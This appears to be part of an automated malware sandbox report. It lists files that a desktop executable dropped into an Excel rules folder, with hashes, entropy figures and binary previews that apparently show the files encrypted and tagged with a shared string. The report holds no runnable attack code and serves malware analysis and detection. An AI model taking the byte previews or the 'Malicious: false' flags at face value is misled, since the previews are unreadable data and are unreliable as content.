Preview:	<?xml#....yN.../a..R../......-[.q..&.E.a;q.k1.?...4...W..Q....8z....M.R(...NF....I...LAJ.._..G...OHR1f..6..{D.&.%4....Gw.{.{.&....... O5...\|a.N7.^;.3.tZ68..!..`...i...U..RJ'...N...D.v.h.6.t....e..Y:..Te.V.p.[..X.1.C.)1.0.e]..y.z...W...P..:..%.....dx..K$;......V.p$S....1\.1...x.y..Lp.......H.y.....n.....uu.".....O...=z..o\|......u..8.F..T L.2.l...5=....G..N.e.....\..T..u4.:.....0..O!.!.....I8........,.~.R..4y:....+.?.[...`..]..D..f........$.z.En........>\|T........e........7.<......}X)..<..r. ..D.wk......a/.....m......F...R....d.8...........W2...A;JI.w..d.....aS8\.y.>...<.5K.....B...\.....k..M..Z....n`_...?..*..fI...F<..V c..ol!?:S.<..\]m..i....m....L...[..g.)......2$..].....Mf..s......=..ZHNVJ..9.h.>.<E..9.27..$..G...w..wf.B=..le3-..Gb.y7..g.......%...:......I....._.QT.\|.]N.$.Z.S.;......E..S.3z/.=..^.o........;.....'Sa...._.+.\....VTa..U.+..qQ.........b.."h..U.P.j...(@..K..n(........_`.x}.>.T.!.....l_G2\.n......\.:0.Z.i.x..\|...`..R_e

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63071v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	754
Entropy (8bit):	7.707266984812982
Encrypted:	false
SSDEEP:	12:lL7qljhv83YVdLDddOK+7GnbPOS3RKXmpTNYzXqO80CYUiQgqAB8B8+wiS2cii9a:p+lj583ChdJaGnbmEAXUT3TdgqAkVbD
MD5:	3E11C8B1A80939645BCC359EF2DC387C
SHA1:	6BB829C1539D3DC1F8BB3D56BDB151CA1FFD8113
SHA-256:	69FB90BB0739EBDC22B32B565FE2158B3B0F86964F6BAFD131D42F2FDBA19DD8
SHA-512:	AA0DD9006984191C801792D44E66D8B6A867B298ACC2CDB138462A9D54D470D566AF3513006D51A9EDA6B11CA95B0CF8769118A63D0F92617DD0E6E13CA25563
Malicious:	false
Preview:	<?xml_...q4.....D.z.d....I...=.j........kK.L.GfT.3.w.......J.-....p..O%.YB.R.0....8.-G=d.s.&......j.j....O\|.=2...X..7.....1..U..+...x.,.8....<6....-...tINb._.)...u^..$1+.....^D6N.^..<R....&&.O.%:.....[s......q2,y.d .8.L.rVjf.g...... 8......9B... ./8A..u...(.V~..$3..,S...........z..H.}8...G.._9H@9....0.I.......~..r...e.".6..O+u.Z].9.@.[...D.,R...&......N..A.........r.]..}-..YCs.V(...0Y..?a..8...i.+F8\|...^yTK.i.+X+........E....Rv.{..........mQ.~....I.5.H.a.._+<..j.G....\.SQ.....[..<.......!j..T.8....h\y...k}..3.wE...zm..V.,.i.wZ......P.......C.".!2h(.ynO...R.@h.>..MrW.Bp.p..W...t-L.....u....."..<.@........~?R....j...}.I.?..QLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63077v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1399
Entropy (8bit):	7.8625281538316925
Encrypted:	false
SSDEEP:	24:crI8OHuRd/ZOegHHMVs35XDFyaUzrZcbFQI1rnSmJZLS6llWWKwj2l4Pbwuqs/Tf:5rm5ZOpv35XDFiZcuIrSWZLS6li7laso
MD5:	17CFD5F0FD005DC8D84D7DE1B276D8FA
SHA1:	38BE2247D6B3EF83FF33FAD510390048A6BF3F60
SHA-256:	7C24AEFB28EB9219D504F85842B7BF2FC1D893B2B46101B28A32D5794EDDE884
SHA-512:	00F45455D4C3D25887238ABA64D676C17B9FF7C8ACCD016381644CD54C78D3A4444A1F4B51A917D83495E94413CCFFB227D356A4AF0087510AAF1F7B85F2A1F8
Malicious:	false
Preview:	<?xmlx...a..t.q...0p...6...'..aN.X...l....N.3.h.#..n.oX9`....^..PL?[C.......c.p.f!'.."q.5.GQh...>...........mWD....`.I.;....P[M@./<......nYQ4....P..uP~..Ux.Iq...j.S.S........#1Lyaa...X.f/\..q.UW?...'.L\2..7...k.\._#x.Gx..:mH..5...5^.a...f...S.C....]f..4...\....Han....KD0.....u..p..B..PB..^W......*._.._...V.zt......+.......o`.C..W.../"6d.C.4.L.~.r....>... ...3%......:..........jk....=.....(..a.X;.%o...3W.t...\|J.@.0.}LN......>...f..W..'..1..j...~.6.C.....n...,..K. R..,....F.8..M}'..+#.l...f.N.o..Hc.dh...?<...JL........>.8..4:.....7..+.....Xd.G.t.n.(...N....1..c.......a..,.....u........\.....X ....['......O......{.....x.\|.=.:L.U.Z.........J....xYo:..d.....E.h.K.....N..m..j.e. .....c.....B%@...W.O...?.O.O?.y..i.e..KD)Kf.3+..K.h=........b..S.X...5....d.,Z.[V.nH...hw......?.z.. &Q.@.w.>.......^f...u....d...1Fy..7`....&..}.....YD.g..77.I{......2..9\|Q...X }:.I5s..C...I.BP.....o...Og.T..l.]...<..G...\|.u......g...^.@.y.......~d..jM...9Z........M]![.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63078v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	708
Entropy (8bit):	7.669450114881315
Encrypted:	false
SSDEEP:	12:XHUvSZ0gnmkyTORym8l4Qafv7qL7uEEpEndMWsrONXoGRLKHkI4Kf1MdslmfOSWc:X2Slm7TPNl9Mq1E+dM4Twk4ckmfhbD
MD5:	19F74C760C146C942F6B4150D9F373BC
SHA1:	846E152FB4C831CF52DA635E1DA7D2519E1FD2E1
SHA-256:	5E76851269DCC21A214F460FFBFA2057566B2933B2A54E2CDFC991B5FECB4C58
SHA-512:	7A3882AF124E82B45D960B492006B8B8E50818A505F1754D65C9E04256AE785486C207080AD8EE49A63DDA716D07856413AB93A06CE635C8B172A7C58EE6AA87
Malicious:	false
Preview:	<?xml.....R..>..ym~.g.&..Y.....W..7..1R...$.4B..#S..4.A....]x...;{.'.2.`.d...........1......23..KZ..m.9]...BN]..a..Zm.........^N.w.Co.<.....4...FN..%k?b...R..Y.E.z..azB'.....'..-k.(.b.....W6..../K..v.6.w.........I...j-l...H.0R0..y.......8z...%..j....oc....[.8...!....h..%..........D.G..b9.@.1D..#-y..g..s.2nL...D..5..@(...r....}u...cX.7.-......V./_..U.=V......$+...M\|.'.D.....w.#..<.....D&......{.hL...W....p8...~a..y.....-.....{.n.M...2...B=....k.m.^..;.Q....../d\|@)..&..5..i.G6.h.m3.....X..;U..........~.........mo...fq...m.... .)....J...q..i.../...N..........<.F..YA...0......T?.........LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65136v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1132
Entropy (8bit):	7.800652006402457
Encrypted:	false
SSDEEP:	24:xHC3mtVlzgrcjtzZ/RLcJTrrUj66dPi+mFeiX7V7bD:Y3SCrURLclrUj66i7X7V/D
MD5:	27B1629749C3AB5FC5021A2E05463750
SHA1:	C9E52EDC9B02A87297E8FE8E54BF7B28AE6870CF
SHA-256:	FAAFC55D4FA11FA929C898D4AD87D0D79DBC2D6CE2156707445ED3673CE16A3D
SHA-512:	35B80702E28F5EBC087428A271228FB04CB521E4A8E06B9E997971F14583CFDA275937F87D41274B95EF81F16C48712CC164CBE51AE9A945FAF1545C466928EB
Malicious:	false
Preview:	<?xml.+.Z../.j.+..WO...,a(lM.@.......y...}.q...v..........f..R..\."\|.....=...oE.?.JB.M.cV..".o=.'=gplZ.e..J.[.E..]..hX-.-..5.....-...?'.G'....y..^.`...U..v.T....=!.Tn.%.#...}..V~c..od?..-eeP.......`.`.......:C{..v.....9...R"y P. .h<u=...5txm.."....[...Y...._.8..a. 5#M...D...c....-.V...$P8J..wV$...7.9....#.q#....q5......1...........^....}.U\|.#.r.Zb...~...I7.j..X`..2o()..Z.N....(.;.Uzp.[."KP=`.wu..=.m...J.q.Y+..uY..2.o...)-_...ge.AL..K.=rg`.\|..R.nN,p...J.AS.l.g....7X......Gx.......S.....}J.0.76mS.?..y'5y....1.0..2..F.p.$.8...:.eh ......~...k.C#.wi:j6QO..^.........m..MHo..{..e.R&./."...,!F}p....:C.;.>{Y..O...m.....B..Ms..\...R....m9^+...$..MTKah.\....$#o.R9tyuf..G...Fh.HD.Ke............._.r.....T:{.l{....".u.gIl.....WC.hM\...2.....e..^X+c[....*..Vn.@s.6p.gh..#%.a.U..x.....3O.+."..1N....P...`G.....M...j..W.v4....U.]. .R.G.U}....e..s..X..7K..9dP...[.../..j.......CC...r.l..C.^F........1..1....2....C...!I._..9..IZ..h.....6.N.../}.UL.DZ7....v...8"?.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65137v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.687726605928893
Encrypted:	false
SSDEEP:	12:K0qhKOHnx8O9UB/Oo9eCmvSFILH8XAzy07LXa4zKvNqRTZ/llybygMS2cii9a:XqPx8Eo97m3HEMbq42Nq5Xldg0bD
MD5:	E3A8760F0AA554C5AD4993532414AC8F
SHA1:	6F32AEB50C6D1C1DF476BFAC27582AF46AB28AC3
SHA-256:	383BABA1FE7FA7372322563E91850F24EC0AA190362A2178FAC0A50B75947BD4
SHA-512:	154E67343A927484D7EA8B01F75844630A3E7DEB6EE107EBFFBD9F1FFBEAB2190A5CE6181D1D28CDAECD1DFD126F32CF2270F60EA7E457D73E21D56B5FA514FE
Malicious:	false
Preview:	<?xml.k.Tv{f,.\.Kh{...Hi..'.4,....0......?.4<..+<m..........._.FP.{\.3..]..7."...\..5/pq.3..0...Q......;/?...)OvK,..?6...."..0cg.1udh..b........wL...-.j....,..Z3.y..z. ..z.;.-.p..B......`l............-.S.>_...'.......E>.i,^,..._.}9.].hr....&o.....A?6....\;./y.h1.5<,...jJ.......@/...Q.... }u@.`......c=..CZ.a..h!....^.h.#..(p..}.F. a.._A..o._c..O...y.d0%.{h..Gf.vF..D.]....9..-.....:...,e....h...o...%....q]}..h]..(a..\..O.iPA.......7.1.p.l.....B...`H... .P.6BB.W.....Ob.Eev...M..!.{28....`!..f=..=.p.......x[...*..(...R^.c..JT..e..D..iD.q.{.u;V.....v.}..t.x...........o)...K.......&Lo.......s`..G.......4@.Q1...Lp....b.....x.....A.C..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65138v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	7.827043942861558
Encrypted:	false
SSDEEP:	24:SHhdlXdME45IF5MLpsMnrUjtPyhuYdksP4MzJF1yLaUKYnbD:ySE6IF5IsqUpPyXAMzrpfYbD
MD5:	08D8B6962B9002668D21109A7DDF5CDE
SHA1:	0C4D620BE03C1578E919C42253F5572B67B13187
SHA-256:	2DD3DCD1813A5B5020AEB3670820263BC1A5EA60B9B2A60B781071572D16697F
SHA-512:	7A4413EB57986B1711C07C75359B28A894941E1443A8B028B474BAB6E5322530A67AE577166C44826811CA7A088D72EBC10F094D363EDC5F4187E3A5442173D4
Malicious:	false
Preview:	<?xml. ...8.....p.A.........A....4....}.....}..Z.V.d)4.`t...d..7....d..u......._."4..0..CG3n.n...f....sP@>..F.s{P..q_.hX....C^p.....C.g.@..=.#.......J-/s.!.........q..w\....JV..D..:/..;.V...@...#.....bIB.....{$. .W!W(..I.}.U.&`..pL.,.T....[..W....m...X...\H...Q..8..F..?..(..:..j...p..(..M`.u..?..q..)..yt..Ae....N.R.L.......N7...iV.\.3.1...M.)).5.<I....(....K...... \|!+.L?X...!..t.GF....E..a.!</.7.K....I/.b...b.1,>.$.........-K..n.c..Ntp......%^R$6..Z.8.'}u....o.7.U........Oa}..dC.dmK.7..9EZ.6...rH....y.B.....P.x.{D.3.LG....5..d....z...&.[....A....v.....+]...=.;.8.d7z..u^X%..DQ...i..E7.m..~.E.\|).`.........H...B.i.xT..)(..>b.v.z..&.b.F.\|..H2K~,.D....d..T..O..8J...!.%g$i9..\2..^.+yE..;.....]..G_.........c.....8.z..GT_.....)X}].E[...T.I.......A.TR..9.?J...d.CqzZpL.J.d..^. ..Bw.._..^..)..H2...........u..O.u. }A86bS'........I.c....?]....S.4^.R\..NX....#..y....31.j..?...$V&.CH._g=p.(;...DS...o2}.=\|....*..U...C..(.\|...}.T....f..0e..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65139v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	8095
Entropy (8bit):	7.975112652351671
Encrypted:	false
SSDEEP:	192:WrOEPVJC3J37Y04zg2sgW3C32gkYjP7G5ZyPa94u:WrxVEFnsgj7B6DGvlJ
MD5:	15B200164CF615D9A13A6DD7721A0D3C
SHA1:	35DCE75E2FAF72B0FCBCB9A72541A561D1DA9B4F
SHA-256:	A012BC9857AAB335EF1EE39D1A1AEEA8CCFF204B5FD6C4CCEBA66D897BA1348A
SHA-512:	DCB5DF36F040C800E7D26DDEEE04C6211B57076318DDF235C07D82ADB58F32BD93A8073474AE2CBE78A03C64FFE835FC09204F65A597F98C34E74F156C89A956
Malicious:	false
Preview:	<?xml...o......c5.c5.g.c#.58Eh...g. .P.g...'.B.B"...O.....&..r#..C...VV..q.'.y+..A_E..)J.....o.....g....a..-..W....V9=...6.....}..R...,u+4D...%Mh..mF.;.%[.$KY.4e\.rj.\..Mv.d.G_{.k".OI.....}V{J..\|.$.......{8`.'..Q......}I..!.Lp.jY.,\|qG......p.x..m...&.D.y..;..d.~..G\.k..K.T.>^ .+'C.~..'.s.$.D~...(]a.....A.. .E..S.l5!.....$.&..:.9.S...j..ZB.L..$....u..!.:...!....l.GH....I.4.`..:<H......O..Cgx.Iy....N..../.%p.v.s..2..o..r..!..)b&.GnB.Z..e...#6...Cy..>...-.R.]hm.;.....;......H...C22...T.T..HT...=..w.i)..w........lp.....C...%...{.C...x..>I...&'..w-p........+F.w. k..t.S5%j.5....b...,.M;.e.....'.F..;g.M-x...b%G.<. .7.....j.g..o.2?.....9.S,...x..J ..D....'-..L......."h..:...D...e....=7.^.:...:.B._..m.^....R9.a.,.u..K'mI..oJ.c..h.C...^..r..].!."o.`.}..ls.........\|u..k.../b.>I.z.C"...~)...Y...2...IZ\|.51u....96.3M{.u..7.3.9.../.$.P....g.?....z.../.v....H.-.S...{zX.....3N......x.<@V..#..U._O.:...6Y.eR.3~...3.).t-\....g. ....3`t...U.1.}#...T.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68000v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1047
Entropy (8bit):	7.746842948063697
Encrypted:	false
SSDEEP:	24:nn7Y8Mq6PQ1+oZDqRWx5qnlTl+JuhnDk6QmybD:7x9+OqWK1l+kVAZhD
MD5:	B02D6D9D5CF3CD7307A6E3B18855492E
SHA1:	854572D08D2BCA0A99B95E6064E19C59C7D2A161
SHA-256:	CF2690E15DDD80DF9E3FCD551A442D8CBC60056B1BD1ADD037B1A743B8D94B8D
SHA-512:	3139DB2B8F3B17415922B08E315B458DA59E38844EC5AE61D408E19D9D54CD109F89C6FE00A164ED98DF5A00C5F625430B36A0AB126CE9C0A26A3F140E420538
Malicious:	false
Preview:	<?xml..8......Yog8..6....d...^.....y.Gl.U.F..\|J....3.r....^)9...P%.....[h...B..I0..C.A(.P .......$.w\...\|....u..s.$..C{d......<..:~../.I....i....y....p..^5.......^2.$....y..JR..;.'.)..AIkU...D;.l..p<E..g0.@...)..........c..Y...Qo.?...Mw.mC...8....,t.\|..V<.h...#.."^.).?..S..N.E....3...[..:...x..?9R..+..:.(&qH.....{.<.P:]&.C.J#..v.?8:41[.R....p......Kti..3u.x.d.z.,+.....V..D..Y...<t.&.V#...z........-./.... .k...C....A...c..V...]H.....O...E....s...i...@D...._U.=...%..%p..4....D@...2yM.....=G.7.....wk........mk.-...s..1.".0j...W.O...9g?..Em.3N.x.HY.8...l.R...u.l-3..p....Yk...M....f.5.....8....7...X..$^.X..;..}......:.5.2...x.Wk6...(...Z8BDr.X....<..._c}..}..'Q....&.E...U.EX.".`...{A,`.<..U.....9.;...^....y/..@..tF9.\V.... Hhu.M......}..UR78a..WQ.xs........f........-..\........H...\|p...._2o...@./..D.!.?.PY.q....-.........}.=A.yG...6.8 ....&a.$A0.A.^...."%!...}D.g>...9..p.....^....\|.C..W)@.\>.......hB...Rn.ULQbDo3EfIVHxGuJOWRJdmxgY66rD6ki

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68001v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	7.794690431560693
Encrypted:	false
SSDEEP:	12:8CDaOFeXPartwj7EJJIzf4X1MRPk621LEpZ6Is+0BSHMdTcS992pVx/GnrdY0bVi:F+cvITQyRPDpZi+6v5992jxIjRVkNJbD
MD5:	F54F21002F2E8F4FC1EF78C2B6435099
SHA1:	449A89FE2D5E8683A8A0994768CE4669D8299678
SHA-256:	1BC3C778450E3DB538D27F54B44D4AA6751656640BFFECD8FFF36B7516EE72D5
SHA-512:	8520E8A90825051FCCF0B4AA28FA2497515D461BC895BFE751B4AD9276A03A50B0B07E2928975094C2D51AF0EBABC317087DB728CAD6AA5DF05C357F16B77F4C
Malicious:	false
Preview:	<?xml.Q..........X...+E.(..i......)....MO..B..>P.yw...6.z.N...A...dt.%L..Pv...J.5...#K.&L...9......{.._.[\|..f..s.."=...V4.8.Y............F..f+..@.r..o...OF....F,.U8l{.w.&.;.].....u..q.s...Mj...\|57...@.l#?.&H.?....c.6..1Ff.)..\.......2...W\|...uc.d'.(...6.......N6..r3F3......-..V.e.D.2..!H&.....O....+s.D.hf1..T.{+..HP....;...sS.S........j..R..F......L....T.../r.o.4;[..o......0./...z'.@@..P..y.............V.K..+w.cD.....v$....H.....0.6...T.gqlS..76..........l0.....c.a...TWJ...^I7.qf]...\.P,~..c.Bm..3.EN..H...e.G..X.j.A2...B.Y.......yfF...;.....I..J=.:R....@.}..P.._...f..&%.0..Y....a.....k.....s.h...1..P.E.`.z./.".....d-......%.-.f.c.]!...$...E.{Z....>.cc.........0.Mi=.u.......y..Le'..6.n../X....:#.y.?.)..E`...eZi..5.V.E.L.......I.b4....i.a..N...*/..3.9.X..4..G..~..n.\|..Y1...C..bPWw...l..<.3......V......3....F..j.l!.?9.;.!A<...6i..Wv....A:....N.m.[..XH.....O...i.4.8."......LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68002v11.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	7.932467123202811
Encrypted:	false
SSDEEP:	48:ptHKepPFqQlQmEqAJWfn8kmLkwt+lp4RHC1V8a9unja1xJpGA4Px22WqRSStdITg:vDPFqQlQdY0GS+lpwHC1V8a9B1/pbezx
MD5:	2ED9CA1F4385593EC53769691CF75DEF
SHA1:	A080016A2D2107883946043A18F7FC81B80A1632
SHA-256:	795B3C19B7AFEC09007B324FFBA978EDE8C744A000843D82244D1D94BF0FE5DF
SHA-512:	3F314C502EF598C9FFF43A57A70772FC926EA09BECC18E6BE3393A300C30A320936185B810F7E9C1F576E8AB9E7F654F98CBACDDB8FFB68D5B2283ED75F7A442
Malicious:	false
Preview:	<?xml.@hd.1.5.w...r.Z~..]U.....Lj....a..rRc...-?".I...3fR...(s..?;(...J.....Z$mV..w.7..L!......j:..H......V...ZA.".........m....S.Z.?.2..+/At.....2.1.....N....5.l.F...V.6G+....U..i.d...Q.....M.>= ...'S..rlK._...'.~.o.lCUQ....b.g..L5mV.P...M.8.v.r2....j...Z?.._b:Q^T.....]9.3.ktz....q...)Pf.....A~=.l.K.3b.....9..3.XD...Pz}y4......<8..E..q......8.Y...f...M.e...5......HX.b..;i..F\|...M.:U...(..P."..N&.2..@..y.)..'....}.#q.d.+...<.i...J...=...c.RDp2...>dc.....7-...q)..............Ob....(..09i.....x.G&).OpY..z...d&.1.)C.].7......'.O..C.e...1..y.M.rW8.+W..b+<..M..G0wJ".......$...Z...z.Vv..`.4,s......w.:..D...TJ..i=.5.......4[.....>.tij..t.._S.t....]].@/.4....(...,.Z.u.6ZB.y..F.....I......6(.....[..x/.U...!.<...FE...E.....UN....'L...P...g....m@..ai.\|.0..).*..U6.(.\|.-A...nm_:;Y.jm.$.Zl3..nF......?.^......(..........(..1k..)..dC.`.G.U..8...\|.b@.6^..Uu:.,.....L.......E.....h..../O.^.X{t.........r.Kq.I..O.<....Yt.!.KF....h....3.F..M....m..u./.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68003v12.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	7.922060771584265
Encrypted:	false
SSDEEP:	48:wE8Io9wB05uHgxEHV45680FTPHq1vo8Wm1VecBI2VyF2c1OmAFPSD:swB05uHgxEV4kBPHmvo8becjc1de6
MD5:	33E84491D999693F92B56638991881F6
SHA1:	245E80AB5B2AFCD5F12AB7525F459826597C4583
SHA-256:	2768B185CCC5874A4860B792C8025336193CEB549A1485EAEED9E91B0E7934CF
SHA-512:	B2BAFEA464EDBB8B5C05C2CC79945C29D70FD480D539366B30C3782738937FD9FDA15AA8EA86C06553E7A1C41FA4ED2E4EA85E6DFCA09D7C8C28FE4FD6279959
Malicious:	false
Preview:	<?xmle.^.`..iV...Z..P..D.............AF.SA.J/#P..O.../;..-.U...Q.g.Q.@..(....%...Q.@.A.t...T..D1..E..s.t...O.H..N=y.k..+f.}.]...J...2....6..T..&..}..v...u.._.2.d)Cv..0........P...jM.......O..?#..1.)....B.ye3kr..7..np....8.`..i...i..Fwz.7.ze..v.....-3.........m.U.R.A.?.%.pE.......C+..]&v.16].....J.S.H....5!..^F+...V%.y..vb,...lv..-.9.W.B.].qD.......$M..7.U..W..pJ..]..k....e[!?.vA....]...%.9.&..,v^........poi....U.k....U..F.$..@..d.....c...N..g..8..\..%.70$..zP.;.k..~#..H..r.of.c...IqF..X......j...4.m......<.1U.?i..k....W..LY.A.....%pf...0.8....p........:.ni.../........._.q..Qq...]<e5..tS_.V.}.A.\....{..{..Y.~E.\|.y.;.E.;G..G.Kr...&.y).$..\6G.M.yil...}k%....K..z.......}.5....-.....0\|....a.P....5.y.......O....{..[..$..M`Z;.}mkn.F&u+...@.6....LU$...U..@R..2..".,.3A..~.^.q..u........>mB.U,....{.....<....l..X&r....6N.b....>..3.Q....K.zK.R..cS.d.Q.G.cm]..F.^...}.._*S._.Aj.G_.....C...F...~...V...b..X`.wy.tQ...=...Q'<Pg>...X..4_....95:.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68004v16.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2762
Entropy (8bit):	7.936447805341659
Encrypted:	false
SSDEEP:	48:oETlJ4D066lXCklRmssizoQogHqhvkzCvIrZ2FGL7v5D0YS70jve/B8D:llk6nyszzPHqhcwIF2sL9D0D706/B4
MD5:	0B9FF2DFACAC4E3B9EFA044C85DBB9D7
SHA1:	40AECDB838FDDE7BBE265F6693D1585B9F28619E
SHA-256:	CB6601C5E74D38A77C63966685B36787A5018F32F0EC6ABED2A6FBADB525BC83
SHA-512:	3BA580E9D2272ABB7EC6E0E59A7C463E02EAE8C4DB7CEA440962D4842E915592313DA1EA313D3EE561D19C083B1BAB5E0629F1D0CF79EA11792418BD32A1A180
Malicious:	false
Preview:	<?xml.{....r7"..fuW......31U.&.]...8.Bv........2.f.....Ya~w.....>+.S-dI...!..@..4.....N....w..UwM.....x8...i\?......6.0.,...Z..Qs0.8>H.t^...J.....!...\5...n".\.j9..%.....Uk[>r..N...;...]F..Z.....".j..U.2.@..d.$..s...Eo..eO....o7...7~&C....L.X.Ey{.....T..I.QF}r,[...1.S...i..P>..-...lcm.;r..f^..q...[Z../CUD...1.....<.. j&.t..w.....>@Q...6..WQo..;dm+%,.s.opkc .......B..."...3.....O~1...+.!9=.6..8.../...T...Kc00.5.7J.t=E...4-D.4...[W=HN....f.m0".%..x........@3..-..$w.U7.t._...%w.xm}V4...y...;......R\.........7.ww:.8..px....h.\|..s...........[<.!.x...5(..~}.....".A........NS.:p.>;.&.T....N./J.=#L.....{..k..V.#BL9.T.!.......u^#Re..Y.?......J..6.o.Xi..q..U.>..&.U..J.#..hc..w."E...\I.<o.k'.y...&2.c...E.F..m.rq.H..../g~.._....6.S..I.WR.. .<>m...@.r.JT8Z[C.._L...u9DG ..0..=...Z..{...V...N..]..J,.6........W.....^..7V.0..;...h7.w]h.(.qc.....!%EzaY....>hHE.'..r...(a_.8Y./..O...5...Go.Zx..:..b3....B..t^..../.?...R.9.!;..>...f..U.l}...t...a.z..Z...i....2.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68006v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	7.769695942084608
Encrypted:	false
SSDEEP:	24:6/VAgiMEfHwDJNNHLudZp1ZeW53EvMI3ZXbD:MAjM2HwlDsFD0vMI3ZrD
MD5:	88D9DA4E5BBAA6AB18D2003EF533B3E8
SHA1:	E14EAB9D3E7C2BA30FB88EDA261464BDA34FD92D
SHA-256:	5BF1CC00A7B9B4AAAF5D38B67D8CCE10E66025BDCE75338F8FFA7E0787FE0F5B
SHA-512:	30AB9492C4356D228FD65415FB66C53D589171006A9DBA265290865EB07C5A9149295A672EA6599B6D1604B542579BFDBA057EC8B595C323E581145957BAE038
Malicious:	false
Preview:	<?xml7K...#..0._...#.....B......>.b.P..]...n...ki.Xw.m..x...~:.....].{4..U}k.x..gyc....p+..1.W..d...5XFZ..(h.'...'.....~..];..x.].}..Yf...P.......#1R..s.^.....v>.9.7..?B;?x.....OR?..bl2qF)...pt6UOQK"..nT....ttF.d..9.t.....g..L .V.Q..\oi...h..g.`.....3c.5f..&s...y.u)/...."6~H.#...........D..$.E..^._.G.R..k!m.>$M.1.vEA.].......-.......f..vJn......!O.E..&.(.....Eu.j.'..&..p\|."<p.)...?.A<#....1T.m)\|}....[../.....\|......: .1..P..<.r.nl.....Z...F...........e...L....:.NNL}\K ..7..sP..I./..0@g..".`2................T\..{..;.A.....55...y.4.N&.j{.dZ.Z.[.O8!.`...Q.&:.I..<.. ...9.~.,.[m..C...=....Z#......~..T...l.....5-E~y.U.s)..[9..Y.0....[.<.\.....r5..K.E.m(.TMl.....I...noA#.%..SV...o.S/.ZL...:..z.o../...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68008v4.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1010
Entropy (8bit):	7.821559489917907
Encrypted:	false
SSDEEP:	24:OIYXYeZw7zVI8we3jzaIicCXE6A0bBcCF/SXnVdpbD:LYlO7zVI8I9XEKbenrJD
MD5:	114558CA8F8F6E2BC7C9637D454E10DD
SHA1:	1B86125FDDDE3BD4EF1A7FA4E56E4E35D6EE0C6A
SHA-256:	EC99B87EE8BFD1B10A05222DD54C642AE18BB8C71D7A37CFEF02C6C81A419BFF
SHA-512:	E3F81A6504F4F5C66068D45593E79FA5DF03320C5F2393B1940F7C761020328197BF3ADE45F953C60644E7F90FF935F233D87EC97CBDFB95F5DD7548467E559A
Malicious:	false
Preview:	<?xml..}..{......D..8...+.....X......t6.z....k.r}....'.:./i......u.[M<m.GQM.o..F.v.}..x..\..?&.:"q..37$....~%.[. /....e... ....M.)..7r.z..W..&`.o..-.V...n\.w3............g...Z\|32.Lq........1..H..:&.I..D...F.c..v)2.....}.L-ba..KFmL... .u.so.......4prY...<w..p.ako.@t..w...u.:png......... N(.0...P].X."...G..H......9.y..<$.RQ....6.G..6J...+W.2.i....A.1...r...v..o......[..H..<a.M.9...y..1...p"...Ld.G.TJ-L.n,..c.)zQ".....P..b..v..:.=.....@%.t+o5.._.OgCTd.S.../.Y..5..X.>$.8.=.~.....}...]r!....#....m.....e.jFu...Yd.~.. J!!.......;.Z.+.U.{.q=k.^..o..g..%J..K.1....\>.5:......T^.y.D..^.yQ...3!..[.E...F....s.......C 